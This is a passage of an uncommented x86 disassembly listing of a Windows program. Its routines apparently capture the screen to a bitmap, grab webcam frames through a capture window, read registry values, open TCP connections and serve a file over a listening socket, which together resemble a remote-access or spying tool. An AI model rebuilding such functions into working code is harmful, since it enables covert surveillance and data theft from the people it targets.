		jz	loc_4155F1
		push	8
		push	edi
		call	dword_4CB65C
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4CB65C
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4CB65C
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_41541F
		push	18h
		push	edi
		call	dword_4CB65C
		mov	ebx, 100h
		jmp	short loc_415421
; ---------------------------------------------------------------------------


loc_41541F:				; CODE XREF: sub_4153BD+50j
		xor	ebx, ebx


loc_415421:				; CODE XREF: sub_4153BD+60j
		push	edi
		call	dword_4CB6A0
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4155D6
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4CB698
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4155E1
		push	eax
		push	[ebp+var_4]
		call	dword_4CB524
		cmp	eax, esi
		jz	loc_4155E1
		cmp	eax, 0FFFFFFFFh
		jz	loc_4155E1
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4CB69C
		test	eax, eax
		jz	loc_4155E1
		cmp	ebx, esi
		jz	short loc_4154DE
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4CB578
		mov	ebx, eax


loc_4154DE:				; CODE XREF: sub_4153BD+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		nop
		call	near ptr 2710776h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4155C1
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		nop
		call	near ptr 2700000h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2700000h
		cmp	ebx, esi
		jz	short loc_4155A3
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2700000h


loc_4155A3:				; CODE XREF: sub_4153BD+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		nop
		call	near ptr 2700000h
		push	[ebp+arg_0]
		nop
		call	near ptr 2670894h
		push	1
		pop	esi


loc_4155C1:				; CODE XREF: sub_4153BD+1A2j
		push	[ebp+var_1C]
		call	dword_4CB5B0
		push	[ebp+var_4]
		call	dword_4CB510
		mov	edi, [ebp+var_20]


loc_4155D6:				; CODE XREF: sub_4153BD+70j
		push	edi
		call	dword_4CB510
		mov	eax, esi
		jmp	short loc_4155F3
; ---------------------------------------------------------------------------


loc_4155E1:				; CODE XREF: sub_4153BD+C7j
					; sub_4153BD+D9j ...
		push	edi
		call	dword_4CB510
		push	[ebp+var_4]
		call	dword_4CB510


loc_4155F1:				; CODE XREF: sub_4153BD+23j
		xor	eax, eax


loc_4155F3:				; CODE XREF: sub_4153BD+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155F8	proc near		; CODE XREF: sub_401ACD+7477p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D3280
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CB5A4
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415636
		mov	eax, esi
		jmp	loc_4157EC
; ---------------------------------------------------------------------------


loc_415636:				; CODE XREF: sub_4155F8+35j
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415653
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB6B0
		jmp	short loc_415655
; ---------------------------------------------------------------------------


loc_415653:				; CODE XREF: sub_4155F8+47j
		xor	eax, eax


loc_415655:				; CODE XREF: sub_4155F8+59j
		cmp	eax, ebx
		jnz	short loc_415660


loc_415659:				; CODE XREF: sub_4155F8+88j
					; sub_4155F8+BCj
		mov	ebx, esi
		jmp	loc_4157E1
; ---------------------------------------------------------------------------


loc_415660:				; CODE XREF: sub_4155F8+5Fj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41567D
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB6B0


loc_41567D:				; CODE XREF: sub_4155F8+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415659
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4156A3
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0
		mov	[ebp+arg_4], eax
		jmp	short loc_4156A6
; ---------------------------------------------------------------------------


loc_4156A3:				; CODE XREF: sub_4155F8+98j
		mov	[ebp+arg_4], ebx


loc_4156A6:				; CODE XREF: sub_4155F8+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415659
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4156CD
		push	1
		pop	ebx
		jmp	loc_4157E1
; ---------------------------------------------------------------------------


loc_4156CD:				; CODE XREF: sub_4155F8+CBj
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4156EA
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_4156EA:				; CODE XREF: sub_4155F8+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415705
		mov	ecx, 280h


loc_415705:				; CODE XREF: sub_4155F8+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415711
		mov	eax, 1E0h


loc_415711:				; CODE XREF: sub_4155F8+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CB5F4
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41575B
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_41575B:				; CODE XREF: sub_4155F8+153j
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415778
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_415778:				; CODE XREF: sub_4155F8+16Ej
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415797
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_415797:				; CODE XREF: sub_4155F8+18Bj
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4157B4
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_4157B4:				; CODE XREF: sub_4155F8+1AAj
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4157E1
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_4157E1:				; CODE XREF: sub_4155F8+63j
					; sub_4155F8+D0j ...
		push	[ebp+var_4]
		call	dword_4CB704
		mov	eax, ebx


loc_4157EC:				; CODE XREF: sub_4155F8+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157F1	proc near		; CODE XREF: sub_401ACD+752Fp

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D3280
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CB5A4
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41582F
		mov	eax, esi
		jmp	loc_415A2B
; ---------------------------------------------------------------------------


loc_41582F:				; CODE XREF: sub_4157F1+35j
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41584C
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB6B0
		jmp	short loc_41584E
; ---------------------------------------------------------------------------


loc_41584C:				; CODE XREF: sub_4157F1+47j
		xor	eax, eax


loc_41584E:				; CODE XREF: sub_4157F1+59j
		cmp	eax, ebx
		jnz	short loc_415859


loc_415852:				; CODE XREF: sub_4157F1+8Bj
					; sub_4157F1+BCj
		mov	ebx, esi
		jmp	loc_415A22
; ---------------------------------------------------------------------------


loc_415859:				; CODE XREF: sub_4157F1+5Fj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415879
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB6B0


loc_415879:				; CODE XREF: sub_4157F1+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415852
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41589C
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4CB6B0
		mov	[ebp+arg_4], eax
		jmp	short loc_41589F
; ---------------------------------------------------------------------------


loc_41589C:				; CODE XREF: sub_4157F1+96j
		mov	[ebp+arg_4], ebx


loc_41589F:				; CODE XREF: sub_4157F1+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415852
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4158C6
		push	1
		pop	ebx
		jmp	loc_415A22
; ---------------------------------------------------------------------------


loc_4158C6:				; CODE XREF: sub_4157F1+CBj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4158E3
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4CB6B0


loc_4158E3:				; CODE XREF: sub_4157F1+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4158FE
		mov	ecx, 0A0h


loc_4158FE:				; CODE XREF: sub_4157F1+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415908
		push	78h
		pop	eax


loc_415908:				; CODE XREF: sub_4157F1+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41594D
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB6B0


loc_41594D:				; CODE XREF: sub_4157F1+14Aj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41596A
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4CB6B0


loc_41596A:				; CODE XREF: sub_4157F1+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4159A8
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4CB6B0


loc_4159A8:				; CODE XREF: sub_4157F1+1A3j
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4159C3
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4CB6B0


loc_4159C3:				; CODE XREF: sub_4157F1+1C0j
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4159DC
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4CB6B0


loc_4159DC:				; CODE XREF: sub_4157F1+1DBj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4159F9
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB6B0


loc_4159F9:				; CODE XREF: sub_4157F1+1F4j
		push	[ebp+var_4]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415A22
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4CB6B0


loc_415A22:				; CODE XREF: sub_4157F1+63j
					; sub_4157F1+D0j ...
		push	edi
		call	dword_4CB704
		mov	eax, ebx


loc_415A2B:				; CODE XREF: sub_4157F1+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A30	proc near		; CODE XREF: sub_401ACD+25F2p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_4368EC, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415BD1
		push	esi
		push	edi
		mov	eax, offset off_4368EC
		mov	esi, offset dword_4368F8
		mov	edi, offset dword_437AF0


loc_415A60:				; CODE XREF: sub_415A30+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4CB6C4
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4CB554
		test	eax, eax
		jnz	loc_415BB7
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415B7B
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_429AC8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41B4C2
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_415BB7
		push	eax


loc_415AD9:				; CODE XREF: sub_415A30+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_415B70
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B06
		push	[ebp+var_8]
		jmp	short loc_415AD9
; ---------------------------------------------------------------------------


loc_415B06:				; CODE XREF: sub_415A30+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B34
		lea	eax, [ebp+var_70]
		push	offset asc_437AEC ; "="
		push	eax
		call	sub_41C0F4
		push	offset asc_437AEC ; "="
		push	ebx
		call	sub_41C0F4
		add	esp, 10h
		jmp	short loc_415B37
; ---------------------------------------------------------------------------


loc_415B34:				; CODE XREF: sub_415A30+E4j
		lea	eax, [ebp+var_70]


loc_415B37:				; CODE XREF: sub_415A30+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AD
		add	esp, 18h


loc_415B70:				; CODE XREF: sub_415A30+B9j
		push	[ebp+var_8]
		call	sub_41B05B
		pop	ecx
		jmp	short loc_415BB7
; ---------------------------------------------------------------------------


loc_415B7B:				; CODE XREF: sub_415A30+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AD
		add	esp, 28h


loc_415BB7:				; CODE XREF: sub_415A30+60j
					; sub_415A30+A2j ...
		push	[ebp+var_4]
		call	dword_4CB630
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_415A60
		pop	edi
		pop	esi


loc_415BD1:				; CODE XREF: sub_415A30+19j
		pop	ebx
		leave
		retn
sub_415A30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD4	proc near		; CODE XREF: ___:00416279p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB6D4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415C50
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB654
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CB694
		cmp	eax, esi
		jnz	short loc_415C35
		push	[ebp+arg_0]
		call	dword_4CB6D8
		test	eax, eax
		jz	short loc_415C50
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415C35:				; CODE XREF: sub_415BD4+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB5FC
		cmp	eax, esi
		jnz	short loc_415C54
		push	edi
		call	dword_4CB6EC


loc_415C50:				; CODE XREF: sub_415BD4+1Bj
					; sub_415BD4+58j
		mov	eax, esi
		jmp	short loc_415C56
; ---------------------------------------------------------------------------


loc_415C54:				; CODE XREF: sub_415BD4+73j
		mov	eax, edi


loc_415C56:				; CODE XREF: sub_415BD4+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415BD4	endp

; ---------------------------------------------------------------------------
word_415C5A	dw 8B55h		; DATA XREF: sub_401ACD+A1Eo
		dd 11B4B8ECh, 0B9E80000h, 8B00005Eh, 56530845h,	8B6D6A57h
		dd 0BD8D59F0h, 0FFFFFE4Ch, 16AA5F3h, 0EC75FF5Eh, 1B0B089h
		dd 858D0000h, 0FFFFFE54h, 0FF42E850h, 0D88BFFFFh, 0FFFB8359h
		dd 8D527559h, 0FFEE4C85h, 7B6C68FFh, 0E8500043h, 5BDAh
		dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch,	50F475FFh
		dd 0FF6C858Dh, 5350FFFFh, 0FF3DA6E8h, 14C483FFh, 0EE4C858Dh
		dd 0E850FFFFh, 0FFFFF4D1h, 0E8F075FFh, 0FFFF572Fh, 90565959h
		dd 2DA313E8h, 0D8086802h, 0E8530043h, 3F6Dh, 0FFF88359h
		dd 8D597559h, 0FFEE4C85h, 7B3C68FFh, 0E8500043h, 5B76h
		dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch,	50F475FFh
		dd 0FF6C858Dh, 5350FFFFh, 0FF3D42E8h, 14C483FFh, 0EE4C858Dh
		dd 0E850FFFFh, 0FFFFF46Dh, 15FF5359h, 4CB6ECh, 0E8F075FFh
		dd 0FFFF56C3h, 0E8905659h, 22DA2A8h, 0E890646Ah, 226B1EEh
		dd 0BEFF33h, 56000010h,	0EE4C858Dh, 5057FFFFh, 581BE8h
		dd 0CC48300h, 0EE4C858Dh, 5657FFFFh, 15FF5350h,	4CB66Ch
		dd 387EC085h, 0EE4C858Dh, 0A468FFFFh, 500042A0h, 6123E8h
		dd 4C858D00h, 50FFFFEEh, 3CA8E8h, 0CC48300h, 1474C085h
		dd 97E8646Ah, 900226B1h, 80E80A6Ah, 85FFFF55h, 0A37559C0h
		dd 0EE4C858Dh, 868FFFFh, 5000437Bh, 5AB1E8h, 0F87D3900h
		dd 1B755959h, 4C858D57h, 0FFFFFFEEh, 8D50F475h,	0FFFF6C85h
		dd 0E85350FFh, 0FFFF3C7Fh, 8D14C483h, 0FFEE4C85h, 0AAE850FFh
		dd 59FFFFF3h, 0EC15FF53h, 0FF004CB6h, 0E8F075h,	59FFFF56h
		dd 0A1E6E857h
		db 2Dh,	2, 90h
; ---------------------------------------------------------------------------


loc_415E1B:				; DATA XREF: sub_401ACD+7832o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CB6D4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_415E69
		push	offset unk_437C6C
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415E69:				; CODE XREF: ___:00415E5Dj
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CB654
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CB680
		test	eax, eax
		jz	short loc_415EA7
		push	offset unk_437C48
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415EA7:				; CODE XREF: ___:00415E9Bj
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CB5F8
		push	dword ptr [ebp-2Eh]
		call	dword_4CB584
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41AFE0
		pop	ecx


loc_415ED9:				; CODE XREF: ___:00415F0Aj
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_415EEC
		push	5Fh
		pop	eax
		jmp	short loc_415EEF
; ---------------------------------------------------------------------------


loc_415EEC:				; CODE XREF: ___:00415EE5j
		movsx	eax, al


loc_415EEF:				; CODE XREF: ___:00415EEAj
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41AFE0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_415ED9
		push	ebx
		push	edi
		call	dword_4CB67C
		test	eax, eax
		jz	short loc_415F22
		push	offset unk_437B6C
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415F22:				; CODE XREF: ___:00415F16j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		nop
		call	near ptr 2710776h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_415F4C
		push	offset unk_437C28
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415F4C:				; CODE XREF: ___:00415F40j
		push	esi
		push	eax
		nop
		call	near ptr 2750C21h
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AC10
		pop	ecx
		push	eax
		call	dword_4CB694
		push	eax
		call	dword_4CB650
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_437C10
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CB63C
		test	eax, eax
		jg	short loc_415FFC
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_437BF8
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		jmp	loc_416120
; ---------------------------------------------------------------------------


loc_415FFC:				; CODE XREF: ___:00415FDAj
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CB6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_416035
		push	offset unk_437BD4


loc_416022:				; CODE XREF: ___:00415E64j
					; ___:00415EA2j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_416123
; ---------------------------------------------------------------------------


loc_416035:				; CODE XREF: ___:0041601Bj
		push	edi
		call	dword_4CB6EC
		cmp	[ebp+8], esi
		jz	loc_4160E7
		mov	edi, 400h


loc_41604A:				; CODE XREF: ___:004160DEj
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_416057
		mov	[ebp-4], eax


loc_416057:				; CODE XREF: ___:00416052j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2780000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
